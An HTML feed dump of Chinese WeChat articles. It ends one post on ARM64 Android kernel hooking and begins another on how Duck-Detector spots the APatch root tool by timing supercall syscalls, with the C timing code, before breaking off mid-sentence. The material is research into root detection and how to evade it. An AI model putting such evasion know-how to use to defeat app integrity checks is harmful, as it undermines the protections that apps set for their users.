initial;text-decoration-color: initial;"><span leaf="">内核开发的残酷在于，它很少给你清晰的错误提示。</span></p><p data-line="2626" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多时候，一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">relocation</span></code><span leaf="">常量写错、一个地址多解引用一次、一个函数入口少了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bti c</span></code><span leaf="">，最终表现出来的都只是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2558" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">静默重启</span><span leaf=""><br/></span><span leaf="">Instruction Abort</span><span leaf=""><br/></span><span leaf="">Translation Fault</span><span leaf=""><br/></span><span leaf="">Kernel panic</span></code></pre><p data-line="2635" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但也正因如此，每一次踩坑都格外有价值。希望这篇实战记录能帮助同样在 ARM64 安卓GKI设备上做内核开发、调试和研究的人，少走一些弯路。</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="2567" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">以上就是全文内容。本文编写完成与工具开发完成时，作者还没有关注到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">项目，很多内容是自己实现。截止当前，有一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Android-kernel-inline-hook-framework</span></code><span leaf="">项目，它封装了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">实现了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">很多相关的功能，算是与本文的功能重合地方，只是没有实现KPM加载的功能。但可以关注学习一波！<a href="https://github.com/ChwnWang0/Android-kernel-inline-hook-framework" target="_blank">https://github.com/ChwnWang0/Android-kernel-inline-hook-framework</a></span></p></blockquote><p data-line="2639" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，感谢本文作者的分享，也期待他的重构版本工具发布！</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a5caafdf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485150%26idx%3D1%26sn%3Ddf32ae68864e79a10ce0d43217754e54">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 11:57:00 +0800</pubDate>
    </item>
    <item>
      <title>APatch最新版检测与过检测原理分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485145&amp;idx=1&amp;sn=13462901ea5113f701abe7c6333a3cdf</link>
      <description>APatch最新版检测与过检测原理分析</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-06 10:32</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e918ca47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTibic5CA3ZWm7TpiaQhLlkjDX25hBic718lYVLiapSnegPqBbBC5oNGmLLIdHZpP7LRth6fNxOrVZBLL5ibicDebTEBAq8ghjAvX2LywE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">APatch最新版检测与过检测原理分析</span></h1><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文主要讲解</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">最新版本引入的对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">的检测原理的分析，以及</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">官方的过检测思路。</span></p><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">作者：非虫（fei_cong@hotmail.com）</span></p></blockquote><h2 data-line="6" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Duck-Detector的检测逻辑</span></h2><p data-line="8" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">目前只支持</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ARM64</span></code><span leaf="">架构，那检测与反检测都是针对安卓这一架构进行。这个检测思路的关键点不在于检测框架调用了什么系统功能或有什么文件特征，而是“同一个系统调用在两种输入下的时间差有多大”。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001494" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8bc3ed64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTichU7FGcocjVwEzwGzNNzetJynSZI6674kyIyPq9C4icvsspYWWCL1mbaqCGycGibqU4FCTiap1fU6S8fp5duOpRUNqpcFpnY8kqw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">核心检测逻辑大致如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="12" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">1. 读取两组输入，一组是128字节的key字符串，一组是仅包含`\0`的key字符串。</span><br/><span leaf="">2. 用ARMv8硬件计时器测两组输入的平均延迟。</span><br/><span leaf="">3. 计算两者差值。</span><br/><span leaf="">4. 如果差值超过3.0微秒，就同时标记`kernel_su`和`apatch`。</span></code></pre><p data-line="19" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">相关更新的检测代码如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="21" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">get_cntfrq</span></span><span style="color: inherit;"><span leaf="">()</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 读取cntfrq_el0，得到计数器频率</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> val;</span><br/><span style="color: inherit;"><span style="color: rgb(0, 0, 255);"><span leaf="">asm</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">volatile</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;mrs %0, cntfrq_el0&#34;</span></span><span leaf=""> : </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;=r&#34;</span></span><span leaf=""> (val))</span></span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> val;</span><br/><span leaf="">}</span><br/><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">get_cntvct</span></span><span style="color: inherit;"><span leaf="">()</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 读取cntvct_el0，得到当前计数值</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> val;</span><br/><span style="color: inherit;"><span style="color: rgb(0, 0, 255);"><span leaf="">asm</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">volatile</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;isb; mrs %0, cntvct_el0; isb&#34;</span></span><span leaf=""> : </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;=r&#34;</span></span><span leaf=""> (val))</span></span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> val;</span><br/><span leaf="">}</span><br/><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">double</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">measure_latency</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *buffer)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> start, end;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> total_ticks = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> freq = </span><span style="color: rgb(0, 122, 204);"><span leaf="">get_cntfrq</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (freq == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0.0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">syscall</span></span><span leaf="">(kSupercallNr, buffer, kSupercallHello);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; kIterations; i++) {</span><br/><span leaf="">        start = </span><span style="color: rgb(0, 122, 204);"><span leaf="">get_cntvct</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">syscall</span></span><span leaf="">(kSupercallNr, buffer, kSupercallHello);</span><br/><span leaf="">        end = </span><span style="color: rgb(0, 122, 204);"><span leaf="">get_cntvct</span></span><span leaf="">();</span><br/><span leaf="">        total_ticks += (end - start);</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">static_cast</span></span><span leaf="">&lt;</span><span style="color: rgb(163, 21, 21);"><span leaf="">double</span></span><span leaf="">&gt;(total_ticks) * </span><span style="color: rgb(0, 128, 0);"><span leaf="">1000000.0</span></span><span leaf="">) /</span><br/><span leaf="">           (</span><span style="color: rgb(0, 122, 204);"><span leaf="">static_cast</span></span><span leaf="">&lt;</span><span style="color: rgb(163, 21, 21);"><span leaf="">double</span></span><span leaf="">&gt;(freq) * kIterations);</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (diff &gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">3.0</span></span><span leaf="">) {</span><br/><span leaf="">    result.flags.kernel_su = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">    result.flags.apatch = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="62" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">值得注意的地方有三处。</span></p><p data-line="64" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一，计时方式从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clock_gettime</span></code><span leaf="">换成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cntvct_el0</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cntfrq_el0</span></code><span leaf="">。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cntvct_el0</span></code><span leaf="">是AArch64里的虚拟计数寄存器，读取到的是当前计数值，适合做两次调用之间的间隔测量；</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cntfrq_el0</span></code><span leaf="">则保存这个计数器的频率，用来把“tick差值”换算成微秒。也就是说，检测器没有把系统调用计时交给通用时间接口，而是直接读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ARMv8</span></code><span leaf="">虚拟计数器。这样做的目的很明确，就是压低测量噪声，让亚微秒级的差异更稳定。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clock_gettime</span></code><span leaf="">的执行本身也会占用一些时间窗口，这可能会带来一些假阳性的情况发生。</span></p><p data-line="66" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二，样本数被提高到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">100000</span></code><span leaf="">次。对这种侧信道型检测来说，单次差异可能很小，必须靠大样本平均来把抖动洗掉。先做一次预热调用，再反复测量，最后取平均值，这就是这条探针的统计基础。</span></p><p data-line="68" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三，判定条件非常直接：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">128</span></code><span leaf="">字节key字符串与仅包含</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">\0</span></code><span leaf="">的key字符串之间，只要平均延迟差超过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3.0</span></code><span leaf="">微秒，就同时打上</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kernel_su</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apatch</span></code><span leaf="">标记。换句话说，它不是在找“有没有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">字样”，而是在找“认证前拷贝与认证路径是否留下了足够大的时间指纹”。</span></p><p data-line="70" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">代码里还有一个细节也很关键：如果</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__NR_supercall</span></code><span leaf="">被</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span 